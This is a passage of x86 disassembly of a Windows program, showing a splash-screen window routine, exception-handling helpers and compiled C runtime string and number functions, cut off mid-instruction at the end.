push ds:dword_4E5A54 call ds:dword_4E182C ; DestroyWindow and ds:dword_4E5A54, 0 push [ebp+arg_0] call ds:dword_4E180C ; SetActiveWindow push [ebp+arg_0] call ds:dword_4E1810 ; SetForegroundWindow xor eax, eax jmp short locret_4CC26D ; --------------------------------------------------------------------------- loc_4CC26A: ; CODE XREF: sub_4CC216+1Ej ; sub_4CC216+29j push 1 pop eax locret_4CC26D: ; CODE XREF: sub_4CC216+52j leave retn 8 sub_4CC216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC271 proc near ; DATA XREF: sub_4CC3F3+3Co var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 58h push edi mov eax, [ebp+arg_0] mov ds:dword_4E5A50, eax and [ebp+var_38], 0 xor eax, eax lea edi, [ebp+var_34] stosd stosd stosd stosd stosd lea eax, [ebp+var_38] push eax push 18h push [ebp+arg_0] call ds:dword_4E17F8 ; GetObjectA mov ds:dword_4E5A60, 30h mov ds:dword_4E5A68, offset sub_4CC15E mov ds:dword_4E5A88, offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}" push 0 call ds:dword_4E1718 ; GetModuleHandleA mov ds:dword_4E5A74, eax push offset dword_4E5A60 call ds:dword_4E1814 ; RegisterClassExA push 10h call ds:dword_4E1818 ; GetSystemMetrics mov [ebp+var_20], eax push 11h call ds:dword_4E1818 ; GetSystemMetrics mov [ebp+var_18], eax mov eax, [ebp+var_20] sub eax, [ebp+var_34] cdq sub eax, edx sar eax, 1 mov [ebp+var_14], eax mov eax, [ebp+var_18] sub eax, [ebp+var_30] cdq sub eax, edx sar eax, 1 mov [ebp+var_10], eax mov eax, [ebp+var_14] add eax, [ebp+var_34] mov [ebp+var_C], eax mov eax, [ebp+var_10] add eax, [ebp+var_30] mov [ebp+var_8], eax mov [ebp+var_58], 98800000h push 0 push 0 push [ebp+var_58] lea eax, [ebp+var_14] push eax call ds:dword_4DE054 ; AdjustWindowRectEx push 0 push 0 push 0 push 0 mov eax, [ebp+var_8] sub eax, [ebp+var_10] push eax mov eax, [ebp+var_C] sub eax, [ebp+var_14] push eax push [ebp+var_10] push [ebp+var_14] push [ebp+var_58] push offset dword_4E1918 push offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}" push 0 call ds:dword_4E181C ; CreateWindowExA mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ds:dword_4E5A54, eax loc_4CC36B: ; CODE XREF: sub_4CC271+133j push 0 push 0 push [ebp+var_4] lea eax, [ebp+var_54] push eax call ds:dword_4E1820 ; GetMessageA test eax, eax jz short loc_4CC3A6 mov eax, [ebp+var_54] cmp eax, [ebp+var_4] jnz short loc_4CC390 cmp [ebp+var_50], 0 jnz short loc_4CC390 jmp short loc_4CC3A6 ; --------------------------------------------------------------------------- loc_4CC390: ; CODE XREF: sub_4CC271+115j ; sub_4CC271+11Bj lea eax, [ebp+var_54] push eax call ds:dword_4E1824 ; TranslateMessage lea eax, [ebp+var_54] push eax call ds:dword_4E1828 ; DispatchMessageA jmp short loc_4CC36B ; --------------------------------------------------------------------------- loc_4CC3A6: ; CODE XREF: sub_4CC271+10Dj ; sub_4CC271+11Dj push 64h call ds:dword_4E1794 ; Sleep and [ebp+var_1C], 0 jmp short loc_4CC3BB ; --------------------------------------------------------------------------- loc_4CC3B4: ; CODE XREF: sub_4CC271+170j mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4CC3BB: ; CODE XREF: sub_4CC271+141j cmp [ebp+var_1C], 64h jge short loc_4CC3E3 push 0 push offset sub_4CC216 call ds:dword_4E1830 ; EnumWindows cmp ds:dword_4E5A54, 0 jnz short loc_4CC3D9 jmp short loc_4CC3E3 ; --------------------------------------------------------------------------- loc_4CC3D9: ; CODE XREF: sub_4CC271+164j push 64h call ds:dword_4E1794 ; Sleep jmp short loc_4CC3B4 ; --------------------------------------------------------------------------- loc_4CC3E3: ; CODE XREF: sub_4CC271+14Ej ; sub_4CC271+166j push [ebp+arg_0] call ds:dword_4E1800 ; DeleteObject xor eax, eax pop edi leave retn 4 sub_4CC271 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC3F3 proc near ; CODE XREF: sub_4D4DC0+17p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push 0 lea eax, [ebp+var_4] push eax push 3 push 80000000h push offset a_splashscreen_ ; "_splashscreen.bmp" call sub_4D0346 test eax, eax jz short locret_4CC450 push [ebp+var_4] call sub_4D5456 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4CC446 push offset dword_4E5A58 push 0 push [ebp+var_8] push offset sub_4CC271 push 0 push 0 call ds:dword_4E183C ; CreateThread push 64h call ds:dword_4E1794 ; Sleep loc_4CC446: ; CODE XREF: sub_4CC3F3+30j push 0 push [ebp+var_4] call sub_4D0741 locret_4CC450: ; CODE XREF: sub_4CC3F3+1Ej leave retn sub_4CC3F3 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC454 proc near ; CODE XREF: sub_4CC54C+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4CC46C push [ebp+arg_0] call sub_4CCF68 ; RtlUnwind loc_4CC46C: ; DATA XREF: sub_4CC454+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4CC454 endp ; =============== S U B R O U T I N E ======================================= sub_4CC474 proc near ; DATA XREF: sub_4CC496+Ao ; _4:004CC507o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4CC495 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4CC495: ; CODE XREF: sub_4CC474+10j retn sub_4CC474 endp ; =============== S U B R O U T I N E ======================================= sub_4CC496 proc near ; CODE XREF: sub_4CC54C+67p ; sub_4CC54C+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4CC474 push large dword ptr fs:0 mov large fs:0, esp loc_4CC4B3: ; CODE XREF: sub_4CC496:loc_4CC4EEj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4CC4F0 cmp esi, [esp+1Ch+arg_4] jz short loc_4CC4F0 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4CC4EE push 101h mov eax, [ebx+esi*4+8] call sub_4CC52A call dword ptr [ebx+esi*4+8] loc_4CC4EE: ; CODE XREF: sub_4CC496+44j jmp short loc_4CC4B3 ; --------------------------------------------------------------------------- loc_4CC4F0: ; CODE XREF: sub_4CC496+2Aj ; sub_4CC496+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4CC496 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4CC474 jnz short locret_4CC520 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4CC520 mov eax, 1 locret_4CC520: ; CODE XREF: _4:004CC50Ej _4:004CC519j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_4E1434 jmp short loc_4CC534 ; =============== S U B R O U T I N E ======================================= sub_4CC52A proc near ; CODE XREF: sub_4CC496+4Fp ; sub_4CC54C+78p push ebx push ecx mov ebx, offset dword_4E1434 mov ecx, [ebp+8] loc_4CC534: ; CODE XREF: _4:004CC528j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4CC52A endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC54C proc near ; DATA XREF: sub_4CC000+Ao ; sub_4CCA80+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_4CC5EC mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4CC57F: ; CODE XREF: sub_4CC54C+90j cmp esi, 0FFFFFFFFh jz short loc_4CC5E5 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4CC5D3 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_4CC5D3 js short loc_4CC5DE mov edi, [ebx+8] push ebx call sub_4CC454 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4CC496 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4CC52A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4CC5D3: ; CODE XREF: sub_4CC54C+40j ; sub_4CC54C+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4CC57F ; --------------------------------------------------------------------------- loc_4CC5DE: ; CODE XREF: sub_4CC54C+54j mov eax, 0 jmp short loc_4CC601 ; --------------------------------------------------------------------------- loc_4CC5E5: ; CODE XREF: sub_4CC54C+36j mov eax, 1 jmp short loc_4CC601 ; --------------------------------------------------------------------------- loc_4CC5EC: ; CODE XREF: sub_4CC54C+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4CC496 add esp, 8 pop ebp mov eax, 1 loc_4CC601: ; CODE XREF: sub_4CC54C+97j ; sub_4CC54C+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4CC54C endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4CC496 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4CC640 loc_4CC630: ; CODE XREF: sub_4CC640+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_4CC640 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4CC640 proc near ; CODE XREF: sub_4CF166+2Ap ; sub_4D8A16+AFp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 004CC630 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4CC66B loc_4CC658: ; CODE XREF: sub_4CC640+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_4CC630 test cl, cl jz short loc_4CC6B4 test edx, 3 jnz short loc_4CC658 loc_4CC66B: ; CODE XREF: sub_4CC640+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4CC676: ; CODE XREF: sub_4CC640+61j ; sub_4CC640+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4CC6B8 and eax, 81010100h jz short loc_4CC676 and eax, 1010100h jnz short loc_4CC6B2 and esi, 80000000h jnz short loc_4CC676 loc_4CC6B2: ; CODE XREF: sub_4CC640+68j ; sub_4CC640+81j ... pop esi pop edi loc_4CC6B4: ; CODE XREF: sub_4CC640+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4CC6B8: ; CODE XREF: sub_4CC640+5Aj mov eax, [edx-4] cmp al, bl jz short loc_4CC6F5 test al, al jz short loc_4CC6B2 cmp ah, bl jz short loc_4CC6EE test ah, ah jz short loc_4CC6B2 shr eax, 10h cmp al, bl jz short loc_4CC6E7 test al, al jz short loc_4CC6B2 cmp ah, bl jz short loc_4CC6E0 test ah, ah jz short loc_4CC6B2 jmp short loc_4CC676 ; --------------------------------------------------------------------------- loc_4CC6E0: ; CODE XREF: sub_4CC640+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_4CC6E7: ; CODE XREF: sub_4CC640+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4CC6EE: ; CODE XREF: sub_4CC640+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4CC6F5: ; CODE XREF: sub_4CC640+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_4CC640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC700 proc near ; CODE XREF: sub_4CF252+FBp ; sub_4D2DD0+161p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_4CC721 xor eax, eax jmp short loc_4CC723 ; --------------------------------------------------------------------------- loc_4CC721: ; CODE XREF: sub_4CC700+1Bj mov eax, edi loc_4CC723: ; CODE XREF: sub_4CC700+1Fj cld pop edi leave retn sub_4CC700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC730 proc near ; CODE XREF: sub_4D153F+5Ep ; sub_4D153F+1ABp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_4CC761 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4CC75F jz short loc_4CC761 dec ecx dec ecx loc_4CC75F: ; CODE XREF: sub_4CC730+29j not ecx loc_4CC761: ; CODE XREF: sub_4CC730+9j ; sub_4CC730+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_4CC730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4CC770 proc near ; CODE XREF: sub_4D1CC4+1AFp ; sub_4D1CC4+434p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_4CC7F3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_4CC794 shr ecx, 2 jnz short loc_4CC801 jmp short loc_4CC7B5 ; --------------------------------------------------------------------------- loc_4CC794: ; CODE XREF: sub_4CC770+1Bj ; sub_4CC770+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4CC7C2 test al, al jz short loc_4CC7CA test esi, 3 jnz short loc_4CC794 mov ebx, ecx shr ecx, 2 jnz short loc_4CC801 loc_4CC7B0: ; CODE XREF: sub_4CC770+8Fj and ebx, 3 jz short loc_4CC7C2 loc_4CC7B5: ; CODE XREF: sub_4CC770+22j ; sub_4CC770+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4CC7EE dec ebx jnz short loc_4CC7B5 loc_4CC7C2: ; CODE XREF: sub_4CC770+2Bj ; sub_4CC770+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4CC7CA: ; CODE XREF: sub_4CC770+2Fj test edi, 3 jz short loc_4CC7E4 loc_4CC7D2: ; CODE XREF: sub_4CC770+72j mov [edi], al inc edi dec ecx jz loc_4CC866 test edi, 3 jnz short loc_4CC7D2 loc_4CC7E4: ; CODE XREF: sub_4CC770+60j mov ebx, ecx shr ecx, 2 jnz short loc_4CC857 loc_4CC7EB: ; CODE XREF: sub_4CC770+7Fj ; sub_4CC770+F4j mov [edi], al inc edi loc_4CC7EE: ; CODE XREF: sub_4CC770+4Dj dec ebx jnz short loc_4CC7EB pop ebx pop esi loc_4CC7F3: ; CODE XREF: sub_4CC770+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4CC7F9: ; CODE XREF: sub_4CC770+A9j ; sub_4CC770+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4CC7B0 loc_4CC801: ; CODE XREF: sub_4CC770+20j ; sub_4CC770+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4CC7F9 test dl, dl jz short loc_4CC84B test dh, dh jz short loc_4CC841 test edx, 0FF0000h jz short loc_4CC837 test edx, 0FF000000h jnz short loc_4CC7F9 mov [edi], edx jmp short loc_4CC84F ; --------------------------------------------------------------------------- loc_4CC837: ; CODE XREF: sub_4CC770+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4CC84F ; --------------------------------------------------------------------------- loc_4CC841: ; CODE XREF: sub_4CC770+B1j and edx, 0FFh mov [edi], edx jmp short loc_4CC84F ; --------------------------------------------------------------------------- loc_4CC84B: ; CODE XREF: sub_4CC770+ADj xor edx, edx mov [edi], edx loc_4CC84F: ; CODE XREF: sub_4CC770+C5j ; sub_4CC770+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_4CC861 loc_4CC857: ; CODE XREF: sub_4CC770+79j xor eax, eax loc_4CC859: ; CODE XREF: sub_4CC770+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4CC859 loc_4CC861: ; CODE XREF: sub_4CC770+E5j and ebx, 3 jnz short loc_4CC7EB loc_4CC866: ; CODE XREF: sub_4CC770+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4CC770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CC86E proc near ; CODE XREF: sub_4CC0D6+24p ; sub_4CC0D6+2Fp ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4E60F4, 0 push ebx push esi push edi jnz short loc_4CC89B mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4CC934 cmp eax, 5Ah jg loc_4CC934 add eax, 20h jmp loc_4CC934 ; --------------------------------------------------------------------------- loc_4CC89B: ; CODE XREF: sub_4CC86E+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_4CC8CF cmp ds:dword_4E165C, esi jle short loc_4CC8BD push esi push ebx call sub_4CCCCF pop ecx pop ecx jmp short loc_4CC8C7 ; --------------------------------------------------------------------------- loc_4CC8BD: ; CODE XREF: sub_4CC86E+42j mov eax, ds:off_4E1450 mov al, [eax+ebx*2] and eax, esi loc_4CC8C7: ; CODE XREF: sub_4CC86E+4Dj test eax, eax jnz short loc_4CC8CF loc_4CC8CB: ; CODE XREF: sub_4CC86E+ADj mov eax, ebx jmp short loc_4CC934 ; --------------------------------------------------------------------------- loc_4CC8CF: ; CODE XREF: sub_4CC86E+3Aj ; sub_4CC86E+5Bj mov edx, ds:off_4E1450 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4CC8F3 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4CC8FC ; --------------------------------------------------------------------------- loc_4CC8F3: ; CODE XREF: sub_4CC86E+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4CC8FC: ; CODE XREF: sub_4CC86E+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_4E60F4 call sub_4CCA80 add esp, 20h test eax, eax jz short loc_4CC8CB cmp eax, esi jnz short loc_4CC927 movzx eax, [ebp+var_4] jmp short loc_4CC934 ; --------------------------------------------------------------------------- loc_4CC927: ; CODE XREF: sub_4CC86E+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4CC934: ; CODE XREF: sub_4CC86E+16j ; sub_4CC86E+1Fj ... pop edi pop esi pop ebx leave retn sub_4CC86E endp ; --------------------------------------------------------------------------- align 10h push edi push esi push ebx xor edi, edi mov eax, [esp+14h] or eax, eax jge short loc_4CC961 inc edi mov edx, [esp+10h] neg eax neg edx sbb eax, 0 mov [esp+14h], eax mov [esp+10h], edx loc_4CC961: ; CODE XREF: _4:004CC94Bj mov eax, [esp+1Ch] or eax, eax jge short loc_4CC97D inc edi mov edx, [esp+18h] neg eax neg edx sbb eax, 0 mov [esp+1Ch], eax mov [esp+18h], edx loc_4CC97D: ; CODE XREF: _4:004CC967j or eax, eax jnz short loc_4CC999 mov ecx, [esp+18h] mov eax, [esp+14h] xor edx, edx div ecx mov ebx, eax mov eax, [esp+10h] div ecx mov edx, ebx jmp short loc_4CC9DA ; --------------------------------------------------------------------------- loc_4CC999: ; CODE XREF: _4:004CC97Fj mov ebx, eax mov ecx, [esp+18h] mov edx, [esp+14h] mov eax, [esp+10h] loc_4CC9A7: ; CODE XREF: _4:004CC9B1j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4CC9A7 div ecx mov esi, eax mul dword ptr [esp+1Ch] mov ecx, eax mov eax, [esp+18h] mul esi add edx, ecx jb short loc_4CC9D5 cmp edx, [esp+14h] ja short loc_4CC9D5 jb short loc_4CC9D6 cmp eax, [esp+10h] jbe short loc_4CC9D6 loc_4CC9D5: ; CODE XREF: _4:004CC9C5j _4:004CC9CBj dec esi loc_4CC9D6: ; CODE XREF: _4:004CC9CDj _4:004CC9D3j xor edx, edx mov eax, esi loc_4CC9DA: ; CODE XREF: _4:004CC997j dec edi jnz short loc_4CC9E4 neg edx neg eax sbb edx, 0 loc_4CC9E4: ; CODE XREF: _4:004CC9DBj pop ebx pop esi pop edi retn 10h ; =============== S U B R O U T I N E ======================================= sub_4CC9EA proc near ; CODE XREF: sub_4CCA75+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4CC9F2: ; CODE XREF: sub_4CC9EA+34j cmp ds:dword_4E165C, 1 jle short loc_4CCA0A movzx eax, byte ptr [edi] push 8 push eax call sub_4CCCCF pop ecx pop ecx jmp short loc_4CCA19 ; --------------------------------------------------------------------------- loc_4CCA0A: ; CODE XREF: sub_4CC9EA+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_4E1450 mov al, [ecx+eax*2] and eax, 8 loc_4CCA19: ; CODE XREF: sub_4CC9EA+1Ej test eax, eax jz short loc_4CCA20 inc edi jmp short loc_4CC9F2 ; --------------------------------------------------------------------------- loc_4CCA20: ; CODE XREF: sub_4CC9EA+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4CCA30 cmp esi, 2Bh jnz short loc_4CCA34 loc_4CCA30: ; CODE XREF: sub_4CC9EA+3Fj movzx esi, byte ptr [edi] inc edi loc_4CCA34: ; CODE XREF: sub_4CC9EA+44j xor ebx, ebx loc_4CCA36: ; CODE XREF: sub_4CC9EA+7Bj cmp ds:dword_4E165C, 1 jle short loc_4CCA4B push 4 push esi call sub_4CCCCF pop ecx pop ecx jmp short loc_4CCA56 ; --------------------------------------------------------------------------- loc_4CCA4B: ; CODE XREF: sub_4CC9EA+53j mov eax, ds:off_4E1450 mov al, [eax+esi*2] and eax, 4 loc_4CCA56: ; CODE XREF: sub_4CC9EA+5Fj test eax, eax jz short loc_4CCA67 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4CCA36 ; --------------------------------------------------------------------------- loc_4CCA67: ; CODE XREF: sub_4CC9EA+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_4CCA70 neg eax loc_4CCA70: ; CODE XREF: sub_4CC9EA+82j pop edi pop esi pop ebp pop ebx retn sub_4CC9EA endp ; =============== S U B R O U T I N E ======================================= sub_4CCA75 proc near ; CODE XREF: sub_4DAD0C+5Fp arg_0 = dword ptr 4 push [esp+arg_0] call sub_4CC9EA pop ecx retn sub_4CCA75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4CCA80 proc near ; CODE XREF: sub_4CC86E+A3p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEB08 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp ds:dword_4E60E8, edi jnz short loc_4CCAF6 push edi push edi push 1 pop ebx push ebx push offset dword_4DEB00 mov esi, 100h push esi push edi call ds:dword_4DE034 ; LCMapStringW test eax, eax jz short loc_4CCAD4 mov ds:dword_4E60E8, ebx jmp short loc_4CCAF6 ; --------------------------------------------------------------------------- loc_4CCAD4: ; CODE XREF: sub_4CCA80+4Aj push edi push edi push ebx push offset dword_4DEAFC push esi push edi call ds:dword_4DE038 ; LCMapStringA test eax, eax jz loc_4CCC0E mov ds:dword_4E60E8, 2 loc_4CCAF6: ; CODE XREF: sub_4CCA80+2Ej ; sub_4CCA80+52j cmp [ebp+arg_C], edi jle short loc_4CCB0B push [ebp+arg_C] push [ebp+arg_8] call sub_4CCCA4 pop ecx pop ecx mov [ebp+arg_C], eax loc_4CCB0B: ; CODE XREF: sub_4CCA80+79j mov eax, ds:dword_4E60E8 cmp eax, 2 jnz short loc_4CCB32 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4DE038 ; LCMapStringA jmp loc_4CCC10 ; --------------------------------------------------------------------------- loc_4CCB32: ; CODE XREF: sub_4CCA80+93j cmp eax, 1 jnz loc_4CCC0E cmp [ebp+arg_18], edi jnz short loc_4CCB48 mov eax, ds:dword_4E6104 mov [ebp+arg_18], eax loc_4CCB48: ; CODE XREF: sub_4CCA80+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call ds:dword_4DE044 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_4CCC0E mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_4CCD90 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4CCBA3 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4CCBA3: ; CODE XREF: sub_4CCA80+10Ej cmp [ebp+var_24], edi jz short loc_4CCC0E push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_4DE044 ; MultiByteToWideChar test eax, eax jz short loc_4CCC0E push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4DE034 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_4CCC0E test byte ptr [ebp+arg_4+1], 4 jz short loc_4CCC22 cmp [ebp+arg_14], edi jz loc_4CCC9D cmp esi, [ebp+arg_14] jg short loc_4CCC0E push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4DE034 ; LCMapStringW test eax, eax jnz loc_4CCC9D loc_4CCC0E: ; CODE XREF: sub_4CCA80+66j ; sub_4CCA80+B5j ... xor eax, eax loc_4CCC10: ; CODE XREF: sub_4CCA80+ADj ; sub_4CCA80+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4CCC22: ; CODE XREF: sub_4CCA80+160j mov [ebp+var_4], 1 lea 